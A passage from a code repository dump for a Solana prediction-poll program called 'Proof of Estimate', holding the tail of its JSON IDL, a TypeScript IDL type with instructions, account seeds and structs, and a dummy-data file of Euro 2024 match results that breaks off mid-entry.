"name": "upper_estimate",
"type": "u16"
},
{
"name": "score_weight",
"type": "f32"
},
{
"name": "recency_weight",
"type": "f32"
},
{
"name": "num_forecasters",
"type": "u64"
},
{
"name": "num_estimate_updates",
"type": "u64"
},
{
"name": "reputation_score",
"type": {
"option": "f32"
}
},
{
"name": "payout_score",
"type": {
"option": "f32"
}
},
{
"name": "bump",
"type": "u8"
}
]
}
},
{
"name": "UserEstimateUpdate",
"type": {
"kind": "struct",
"fields": [
{
"name": "poll",
"type": "pubkey"
},
{
"name": "user",
"type": "pubkey"
},
{
"name": "slot",
"type": "u64"
},
{
"name": "timestamp",
"type": "i64"
},
{
"name": "lower_estimate",
"type": "u16"
},
{
"name": "upper_estimate",
"type": "u16"
}
]
}
},
{
"name": "UserScore",
"type": {
"kind": "struct",
"fields": [
{
"name": "forecaster",
"type": "pubkey"
},
{
"name": "poll",
"type": "pubkey"
},
{
"name": "options",
"type": "f32"
},
{
"name": "last_lower_option",
"type": "f32"
},
{
"name": "last_upper_option",
"type": "f32"
},
{
"name": "cost",
"type": "f32"
},
{
"name": "last_lower_cost",
"type": "f32"
},
{
"name": "last_upper_cost",
"type": "f32"
},
{
"name": "last_peer_score_a",
"type": "f32"
},
{
"name": "last_peer_score_b",
"type": "f32"
},
{
"name": "ln_a",
"type": "f32"
},
{
"name": "ln_b",
"type": "f32"
},
{
"name": "peer_score_a",
"type": "f32"
},
{
"name": "peer_score_b",
"type": "f32"
},
{
"name": "last_slot",
"type": "u64"
},
{
"name": "bump",
"type": "u8"
}
]
}
}
]
}
================================================
FILE: idl/poe.ts
================================================
/**
* Program IDL in camelCase format in order to be used in JS/TS.
*
* Note that this is only a type helper and is not the actual IDL. The original
* IDL can be found at `target/idl/poe.json`.
*/
export type Poe = {
address: "ACyH6Avm4uYen8WWyTU4chExQqpF4gCHy5MmtqtpWomk";
metadata: {
name: "poe";
version: "0.1.0";
spec: "0.1.0";
description: "Proof of Estimate - Prediction Poll";
};
instructions: [
{
name: "addMetadata";
discriminator: [231, 195, 40, 240, 67, 231, 53, 136];
accounts: [
{
name: "payer";
writable: true;
signer: true;
},
{
name: "auth";
pda: {
seeds: [
{
kind: "const";
value: [97, 117, 116, 104];
}
];
};
},
{
name: "mint";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
}
];
};
},
{
name: "tokenProgram";
address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
},
{
name: "metadata";
writable: true;
},
{
name: "tokenMetadataProgram";
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
},
{
name: "rent";
address: "SysvarRent111111111111111111111111111111111";
}
];
args: [
{
name: "uri";
type: "string";
},
{
name: "name";
type: "string";
},
{
name: "symbol";
type: "string";
}
];
},
{
name: "collectPoints";
discriminator: [221, 8, 237, 153, 212, 171, 156, 131];
accounts: [
{
name: "payer";
writable: true;
signer: true;
},
{
name: "forecaster";
},
{
name: "user";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114];
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "userEstimate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "userScore";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "auth";
pda: {
seeds: [
{
kind: "const";
value: [97, 117, 116, 104];
}
];
};
},
{
name: "mint";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
}
];
};
},
{
name: "escrowAccount";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [101, 115, 99, 114, 111, 119];
}
];
};
},
{
name: "forecasterTokenAccount";
writable: true;
},
{
name: "tokenProgram";
address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
},
{
name: "associatedTokenProgram";
address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [];
},
{
name: "createPoll";
discriminator: [182, 171, 112, 238, 6, 219, 14, 110];
accounts: [
{
name: "creator";
writable: true;
signer: true;
},
{
name: "resolver";
},
{
name: "state";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 95, 115, 116, 97, 116, 101];
}
];
};
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "state.num_polls";
account: "poeState";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [
{
name: "question";
type: "string";
},
{
name: "description";
type: "string";
},
{
name: "category";
type: "u16";
},
{
name: "decay";
type: "f32";
}
];
},
{
name: "initialize";
discriminator: [175, 175, 109, 31, 13, 152, 155, 237];
accounts: [
{
name: "payer";
writable: true;
signer: true;
},
{
name: "state";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 95, 115, 116, 97, 116, 101];
}
];
};
},
{
name: "auth";
pda: {
seeds: [
{
kind: "const";
value: [97, 117, 116, 104];
}
];
};
},
{
name: "mint";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
}
];
};
},
{
name: "escrowAccount";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [101, 115, 99, 114, 111, 119];
}
];
};
},
{
name: "tokenProgram";
address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [];
},
{
name: "makeEstimate";
discriminator: [169, 43, 178, 59, 233, 178, 74, 199];
accounts: [
{
name: "forecaster";
writable: true;
signer: true;
},
{
name: "user";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114];
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "userEstimate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "pollEstimateUpdate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "poll.num_estimate_updates";
account: "poll";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "userScore";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "forecasterTokenAccount";
writable: true;
},
{
name: "mint";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
}
];
};
},
{
name: "auth";
pda: {
seeds: [
{
kind: "const";
value: [97, 117, 116, 104];
}
];
};
},
{
name: "escrowAccount";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [101, 115, 99, 114, 111, 119];
}
];
};
},
{
name: "tokenProgram";
address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
},
{
name: "associatedTokenProgram";
address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [
{
name: "lowerEstimate";
type: "u16";
},
{
name: "upperEstimate";
type: "u16";
}
];
},
{
name: "registerUser";
discriminator: [2, 241, 150, 223, 99, 214, 116, 97];
accounts: [
{
name: "payer";
writable: true;
signer: true;
},
{
name: "user";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114];
},
{
kind: "account";
path: "payer";
}
];
};
},
{
name: "auth";
pda: {
seeds: [
{
kind: "const";
value: [97, 117, 116, 104];
}
];
};
},
{
name: "mint";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 101, 107, 101, 110, 95, 109, 105, 110, 116];
}
];
};
},
{
name: "tokenAccount";
writable: true;
},
{
name: "tokenProgram";
address: "TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA";
},
{
name: "associatedTokenProgram";
address: "ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL";
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [];
},
{
name: "removeEstimate";
discriminator: [123, 41, 255, 206, 43, 234, 150, 38];
accounts: [
{
name: "forecaster";
writable: true;
signer: true;
},
{
name: "user";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114];
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "userEstimate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "estimateUpdate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "poll.num_estimate_updates";
account: "poll";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "userScore";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [];
},
{
name: "resolvePoll";
discriminator: [130, 62, 235, 12, 76, 239, 17, 61];
accounts: [
{
name: "resolver";
writable: true;
signer: true;
relations: ["poll"];
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [
{
name: "result";
type: "bool";
}
];
},
{
name: "startPoll";
discriminator: [59, 188, 204, 28, 129, 88, 202, 242];
accounts: [
{
name: "creator";
writable: true;
signer: true;
relations: ["poll"];
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [];
},
{
name: "updateEstimate";
discriminator: [16, 66, 42, 145, 179, 218, 133, 181];
accounts: [
{
name: "forecaster";
writable: true;
signer: true;
},
{
name: "poll";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [112, 111, 108, 108];
},
{
kind: "account";
path: "poll.id";
account: "poll";
}
];
};
},
{
name: "userEstimate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "userEstimateUpdate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
117,
115,
101,
114,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
},
{
kind: "account";
path: "user_estimate.num_estimate_updates";
account: "userEstimate";
}
];
};
},
{
name: "estimateUpdate";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
112,
111,
108,
108,
95,
101,
115,
116,
105,
109,
97,
116,
101,
95,
117,
112,
100,
97,
116,
101
];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "poll.num_estimate_updates";
account: "poll";
}
];
};
},
{
name: "scoringList";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [
115,
99,
111,
114,
105,
110,
103,
95,
108,
105,
115,
116
];
},
{
kind: "account";
path: "poll";
}
];
};
},
{
name: "userScore";
writable: true;
pda: {
seeds: [
{
kind: "const";
value: [117, 115, 101, 114, 95, 115, 99, 111, 114, 101];
},
{
kind: "account";
path: "poll";
},
{
kind: "account";
path: "forecaster";
}
];
};
},
{
name: "systemProgram";
address: "11111111111111111111111111111111";
}
];
args: [
{
name: "newLowerEstimate";
type: "u16";
},
{
name: "newUpperEstimate";
type: "u16";
}
];
}
];
accounts: [
{
name: "poeState";
discriminator: [56, 89, 110, 49, 245, 252, 16, 20];
},
{
name: "poll";
discriminator: [110, 234, 167, 188, 231, 136, 153, 111];
},
{
name: "pollEstimateUpdate";
discriminator: [140, 170, 34, 23, 150, 213, 62, 18];
},
{
name: "scoringList";
discriminator: [200, 108, 113, 50, 15, 45, 206, 81];
},
{
name: "user";
discriminator: [159, 117, 95, 227, 239, 151, 58, 236];
},
{
name: "userEstimate";
discriminator: [4, 202, 200, 189, 121, 204, 147, 101];
},
{
name: "userEstimateUpdate";
discriminator: [231, 183, 179, 64, 195, 152, 147, 122];
},
{
name: "userScore";
discriminator: [212, 150, 123, 224, 34, 227, 84, 39];
}
];
errors: [
{
code: 6000;
name: "pollAlreadyStarted";
msg: "Poll has already started.";
},
{
code: 6001;
name: "pollClosed";
msg: "Poll is closed.";
},
{
code: 6002;
name: "pollNotResolved";
msg: "Poll has not been resolved.";
},
{
code: 6003;
name: "pollAlreadyResolved";
msg: "Poll has already been resolved.";
}
];
types: [
{
name: "poeState";
type: {
kind: "struct";
fields: [
{
name: "authority";
type: "pubkey";
},
{
name: "numPolls";
type: "u64";
},
{
name: "score";
type: "f32";
},
{
name: "recalibrationFactor";
type: "f32";
},
{
name: "bump";
type: "u8";
}
];
};
},
{
name: "poll";
type: {
kind: "struct";
fields: [
{
name: "creator";
type: "pubkey";
},
{
name: "resolver";
type: "pubkey";
},
{
name: "id";
type: "u64";
},
{
name: "category";
type: "u16";
},
{
name: "hasStarted";
type: "bool";
},
{
name: "bettingAmount";
type: "u64";
},
{
name: "startSlot";
type: "u64";
},
{
name: "endSlot";
type: {
option: "u64";
};
},
{
name: "decayRate";
type: "f32";
},
{
name: "collectiveEstimate";
type: {
option: "u32";
};
},
{
name: "variance";
type: {
option: "f32";
};
},
{
name: "lnGmA";
type: {
option: "f32";
};
},
{
name: "lnGmB";
type: {
option: "f32";
};
},
{
name: "numForecasters";
type: "u64";
},
{
name: "numEstimateUpdates";
type: "u64";
},
{
name: "accumulatedWeights";
type: "f32";
},
{
name: "accumulatedWeightsSquared";
type: "f32";
},
{
name: "result";
type: {
option: "bool";
};
},
{
name: "question";
type: "string";
},
{
name: "description";
type: "string";
},
{
name: "bump";
type: "u8";
}
];
};
},
{
name: "pollEstimateUpdate";
type: {
kind: "struct";
fields: [
{
name: "poll";
type: "pubkey";
},
{
name: "slot";
type: "u64";
},
{
name: "timestamp";
type: "i64";
},
{
name: "estimate";
type: {
option: "u32";
};
},
{
name: "variance";
type: {
option: "f32";
};
},
{
name: "bump";
type: "u8";
}
];
};
},
{
name: "scoringList";
serialization: "bytemuck";
repr: {
kind: "c";
};
type: {
kind: "struct";
fields: [
{
name: "options";
type: {
array: ["f32", 128];
};
},
{
name: "cost";
type: {
array: ["f32", 128];
};
},
{
name: "peerScoreA";
type: {
array: ["f32", 128];
};
},
{
name: "peerScoreB";
type: {
array: ["f32", 128];
};
},
{
name: "lastSlot";
type: "u64";
}
];
};
},
{
name: "user";
type: {
kind: "struct";
fields: [
{
name: "userAddress";
type: "pubkey";
},
{
name: "score";
type: "f32";
},
{
name: "participationCount";
type: "u32";
},
{
name: "correctAnswersCount";
type: "u32";
},
{
name: "bump";
type: "u8";
}
];
};
},
{
name: "userEstimate";
type: {
kind: "struct";
fields: [
{
name: "forecaster";
type: "pubkey";
},
{
name: "poll";
type: "pubkey";
},
{
name: "lowerEstimate";
type: "u16";
},
{
name: "upperEstimate";
type: "u16";
},
{
name: "scoreWeight";
type: "f32";
},
{
name: "recencyWeight";
type: "f32";
},
{
name: "numForecasters";
type: "u64";
},
{
name: "numEstimateUpdates";
type: "u64";
},
{
name: "reputationScore";
type: {
option: "f32";
};
},
{
name: "payoutScore";
type: {
option: "f32";
};
},
{
name: "bump";
type: "u8";
}
];
};
},
{
name: "userEstimateUpdate";
type: {
kind: "struct";
fields: [
{
name: "poll";
type: "pubkey";
},
{
name: "user";
type: "pubkey";
},
{
name: "slot";
type: "u64";
},
{
name: "timestamp";
type: "i64";
},
{
name: "lowerEstimate";
type: "u16";
},
{
name: "upperEstimate";
type: "u16";
}
];
};
},
{
name: "userScore";
type: {
kind: "struct";
fields: [
{
name: "forecaster";
type: "pubkey";
},
{
name: "poll";
type: "pubkey";
},
{
name: "options";
type: "f32";
},
{
name: "lastLowerOption";
type: "f32";
},
{
name: "lastUpperOption";
type: "f32";
},
{
name: "cost";
type: "f32";
},
{
name: "lastLowerCost";
type: "f32";
},
{
name: "lastUpperCost";
type: "f32";
},
{
name: "lastPeerScoreA";
type: "f32";
},
{
name: "lastPeerScoreB";
type: "f32";
},
{
name: "lnA";
type: "f32";
},
{
name: "lnB";
type: "f32";
},
{
name: "peerScoreA";
type: "f32";
},
{
name: "peerScoreB";
type: "f32";
},
{
name: "lastSlot";
type: "u64";
},
{
name: "bump";
type: "u8";
}
];
};
}
];
};
================================================
FILE: lib/dummyData.ts
================================================
export type Match = {
id: string;
date: string;
teamA: string;
teamB: string;
logoA: string;
logoB: string;
resultA: string;
resultB: string;
};
const flagBaseUrl = "https://flagcdn.com/48x36/";
export const matchesFirstMatchDay: Match[] = [
{
id: "1",
date: "14.06.24 21:00",
teamA: "Germany",
teamB: "Scotland",
logoA: `${flagBaseUrl}de.png`,
logoB: `${flagBaseUrl}gb-sct.png`,
resultA: "5",
resultB: "1",
},
{
id: "2",
date: "15.06.24 15:00",
teamA: "Hungary",
teamB: "Switzerland",
logoA: `${flagBaseUrl}hu.png`,
logoB: `${flagBaseUrl}ch.png`,
resultA: "1",
resultB: "3",
},
{
id: "3",
date: "15.06.24 18:00",
teamA: "Spain",
teamB: "Croatia",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}hr.png`,
resultA: "3",
resultB: "0",
},
{
id: "4",
date: "15.06.24 21:00",
teamA: "Italy",
teamB: "Albania",
logoA: `${flagBaseUrl}it.png`,
logoB: `${flagBaseUrl}al.png`,
resultA: "2",
resultB: "1",
},
{
id: "5",
date: "16.06.24 15:00",
teamA: "Poland",
teamB: "Netherlands",
logoA: `${flagBaseUrl}pl.png`,
logoB: `${flagBaseUrl}nl.png`,
resultA: "1",
resultB: "2",
},
{
id: "6",
date: "16.06.24 18:00",
teamA: "Slovenia",
teamB: "Denmark",
logoA: `${flagBaseUrl}si.png`,
logoB: `${flagBaseUrl}dk.png`,
resultA: "1",
resultB: "1",
},
{
id: "7",
date: "16.06.24 21:00",
teamA: "Serbia",
teamB: "England",
logoA: `${flagBaseUrl}rs.png`,
logoB: `${flagBaseUrl}gb-eng.png`,
resultA: "0",
resultB: "1",
},
{
id: "8",
date: "17.06.24 15:00",
teamA: "Romania",
teamB: "Ukraine",
logoA: `${flagBaseUrl}ro.png`,
logoB: `${flagBaseUrl}ua.png`,
resultA: "3",
resultB: "0",
},
{
id: "9",
date: "17.06.24 18:00",
teamA: "Belgium",
teamB: "Slovakia",
logoA: `${flagBaseUrl}be.png`,
logoB: `${flagBaseUrl}sk.png`,
resultA: "0",
resultB: "1",
},
{
id: "10",
date: "17.06.24 21:00",
teamA: "Austria",
teamB: "France",
logoA: `${flagBaseUrl}at.png`,
logoB: `${flagBaseUrl}fr.png`,
resultA: "0",
resultB: "1",
},
{
id: "11",
date: "18.06.24 18:00",
teamA: "Türkiye",
teamB: "Georgia",
logoA: `${flagBaseUrl}tr.png`,
logoB: `${flagBaseUrl}ge.png`,
resultA: "3",
resultB: "1",
},
{
id: "12",
date: "18.06.24 21:00",
teamA: "Portugal",
teamB: "Czechia",
logoA: `${flagBaseUrl}pt.png`,
logoB: `${flagBaseUrl}cz.png`,
resultA: "2",
resultB: "1",
},
];
export const matchesSecondMatchday: Match[] = [
{
id: "13",
date: "19.06.24 15:00",
teamA: "Croatia",
teamB: "Albania",
logoA: `${flagBaseUrl}hr.png`,
logoB: `${flagBaseUrl}al.png`,
resultA: "2",
resultB: "2",
},
{
id: "14",
date: "19.06.24 18:00",
teamA: "Germany",
teamB: "Hungary",
logoA: `${flagBaseUrl}de.png`,
logoB: `${flagBaseUrl}hu.png`,
resultA: "2",
resultB: "0",
},
{
id: "15",
date: "19.06.24 21:00",
teamA: "Scotland",
teamB: "Switzerland",
logoA: `${flagBaseUrl}gb-sct.png`,
logoB: `${flagBaseUrl}ch.png`,
resultA: "1",
resultB: "1",
},
{
id: "16",
date: "20.06.24 15:00",
teamA: "Slovenia",
teamB: "Serbia",
logoA: `${flagBaseUrl}si.png`,
logoB: `${flagBaseUrl}rs.png`,
resultA: "1",
resultB: "1",
},
{
id: "17",
date: "20.06.24 18:00",
teamA: "Denmark",
teamB: "England",
logoA: `${flagBaseUrl}dk.png`,
logoB: `${flagBaseUrl}gb-eng.png`,
resultA: "1",
resultB: "1",
},
{
id: "18",
date: "20.06.24 21:00",
teamA: "Spain",
teamB: "Italy",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}it.png`,
resultA: "1",
resultB: "0",
},
{
id: "19",
date: "21.06.24 15:00",
teamA: "Slovakia",
teamB: "Ukraine",
logoA: `${flagBaseUrl}sk.png`,
logoB: `${flagBaseUrl}ua.png`,
resultA: "1",
resultB: "2",
},
{
id: "20",
date: "21.06.24 18:00",
teamA: "Poland",
teamB: "Austria",
logoA: `${flagBaseUrl}pl.png`,
logoB: `${flagBaseUrl}at.png`,
resultA: "1",
resultB: "3",
},
{
id: "21",
date: "21.06.24 21:00",
teamA: "Netherland",
teamB: "France",
logoA: `${flagBaseUrl}nl.png`,
logoB: `${flagBaseUrl}fr.png`,
resultA: "0",
resultB: "0",
},
{
id: "22",
date: "22.06.24 15:00",
teamA: "Georgia",
teamB: "Czechia",
logoA: `${flagBaseUrl}ge.png`,
logoB: `${flagBaseUrl}cz.png`,
resultA: "1",
resultB: "1",
},
{
id: "23",
date: "22.06.24 18:00",
teamA: "Türkiye",
teamB: "Portugal",
logoA: `${flagBaseUrl}tr.png`,
logoB: `${flagBaseUrl}pt.png`,
resultA: "0",
resultB: "3",
},
{
id: "24",
date: "22.06.24 21:00",
teamA: "Belgium",
teamB: "Romania",
logoA: `${flagBaseUrl}be.png`,
logoB: `${flagBaseUrl}ro.png`,
resultA: "2",
resultB: "0",
},
];
export const matchesThirdMatchday: Match[] = [
{
id: "25",
date: "23.06.24 21:00",
teamA: "Switzerland",
teamB: "Germany",
logoA: `${flagBaseUrl}ch.png`,
logoB: `${flagBaseUrl}de.png`,
resultA: "1",
resultB: "1",
},
{
id: "26",
date: "23.06.24 21:00",
teamA: "Scotland",
teamB: "Hungary",
logoA: `${flagBaseUrl}gb-sct.png`,
logoB: `${flagBaseUrl}hu.png`,
resultA: "0",
resultB: "1",
},
{
id: "27",
date: "24.06.24 21:00",
teamA: "Albania",
teamB: "Spain",
logoA: `${flagBaseUrl}al.png`,
logoB: `${flagBaseUrl}es.png`,
resultA: "0",
resultB: "1",
},
{
id: "28",
date: "24.06.24 21:00",
teamA: "Croatia",
teamB: "Italy",
logoA: `${flagBaseUrl}hr.png`,
logoB: `${flagBaseUrl}it.png`,
resultA: "1",
resultB: "1",
},
{
id: "29",
date: "25.06.24 18:00",
teamA: "Netherlands",
teamB: "Austria",
logoA: `${flagBaseUrl}nl.png`,
logoB: `${flagBaseUrl}at.png`,
resultA: "2",
resultB: "3",
},
{
id: "30",
date: "25.06.24 18:00",
teamA: "France",
teamB: "Poland",
logoA: `${flagBaseUrl}fr.png`,
logoB: `${flagBaseUrl}pl.png`,
resultA: "1",
resultB: "1",
},
{
id: "31",
date: "25.06.24 21:00",
teamA: "England",
teamB: "Slovenia",
logoA: `${flagBaseUrl}gb-eng.png`,
logoB: `${flagBaseUrl}si.png`,
resultA: "0",
resultB: "0",
},
{
id: "32",
date: "25.06.24 21:00",
teamA: "Denmark",
teamB: "Serbia",
logoA: `${flagBaseUrl}dk.png`,
logoB: `${flagBaseUrl}rs.png`,
resultA: "0",
resultB: "0",
},
{
id: "33",
date: "26.06.24 18:00",
teamA: "Slovakia",
teamB: "Romania",
logoA: `${flagBaseUrl}sk.png`,
logoB: `${flagBaseUrl}ro.png`,
resultA: "1",
resultB: "1",
},
{
id: "34",
date: "26.06.24 18:00",
teamA: "Ukraine",
teamB: "Belgium",
logoA: `${flagBaseUrl}ua.png`,
logoB: `${flagBaseUrl}be.png`,
resultA: "0",
resultB: "0",
},
{
id: "35",
date: "26.06.24 21:00",
teamA: "Georgia",
teamB: "Portugal",
logoA: `${flagBaseUrl}ge.png`,
logoB: `${flagBaseUrl}pt.png`,
resultA: "2",
resultB: "0",
},
{
id: "36",
date: "26.06.24 21:00",
teamA: "Czechia",
teamB: "Türkiye",
logoA: `${flagBaseUrl}cz.png`,
logoB: `${flagBaseUrl}tr.png`,
resultA: "1",
resultB: "2",
},
];
export const matchesRound16: Match[] = [
{
id: "37",
date: "29.06.24 18:00",
teamA: "Switzerland",
teamB: "Italy",
logoA: `${flagBaseUrl}ch.png`,
logoB: `${flagBaseUrl}it.png`,
resultA: "2",
resultB: "0",
},
{
id: "38",
date: "29.06.24 21:00",
teamA: "Germany",
teamB: "Denmark",
logoA: `${flagBaseUrl}de.png`,
logoB: `${flagBaseUrl}dk.png`,
resultA: "2",
resultB: "0",
},
{
id: "39",
date: "30.06.24 18:00",
teamA: "England",
teamB: "Slovakia",
logoA: `${flagBaseUrl}gb-eng.png`,
logoB: `${flagBaseUrl}sk.png`,
resultA: "2",
resultB: "1",
},
{
id: "40",
date: "30.06.24 21:00",
teamA: "Spain",
teamB: "Georgia",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}ge.png`,
resultA: "4",
resultB: "1",
},
{
id: "41",
date: "01.07.24 18:00",
teamA: "France",
teamB: "Belgium",
logoA: `${flagBaseUrl}fr.png`,
logoB: `${flagBaseUrl}be.png`,
resultA: "1",
resultB: "0",
},
{
id: "42",
date: "01.07.24 21:00",
teamA: "Portugal",
teamB: "Slovenia",
logoA: `${flagBaseUrl}pt.png`,
logoB: `${flagBaseUrl}si.png`,
resultA: "3",
resultB: "0",
},
{
id: "43",
date: "02.07.24 18:00",
teamA: "Romania",
teamB: "Netherlands",
logoA: `${flagBaseUrl}ro.png`,
logoB: `${flagBaseUrl}nl.png`,
resultA: "0",
resultB: "3",
},
{
id: "44",
date: "02.07.24 21:00",
teamA: "Austria",
teamB: "Türkiye",
logoA: `${flagBaseUrl}at.png`,
logoB: `${flagBaseUrl}tr.png`,
resultA: "1",
resultB: "2",
},
];
export const matchesQuarterFinals: Match[] = [
{
id: "45",
date: "05.07.24 18:00",
teamA: "Spain",
teamB: "Germany",
logoA: `${flagBaseUrl}es.png`,
logoB: `${flagBaseUrl}de.png`,
resultA: "2",
resultB: "1",
},
{
id: "46",
date: "05.07.24 21:00",
teamA: "Portugal",
teamB: "France",
logoA: `${flagBaseUrl}pt.png`,
logoB: `${flagBaseUrl}fr.png`,
resultA: "3",
resultB: "5",
},
{
id: "47",
date: "06.07.24 18:00",
teamA: "England",
teamB: "Switzerland",
logoA: `${flagBaseUrl}gb-eng.png`,
logoB: `${flagBaseUrl}ch.png`,
resultA: "5",
resultB: "3",
},
{
id: "48",
date: "07.07.24 21:00",
teamA: "Netherlands",
teamB: "Türkiye",
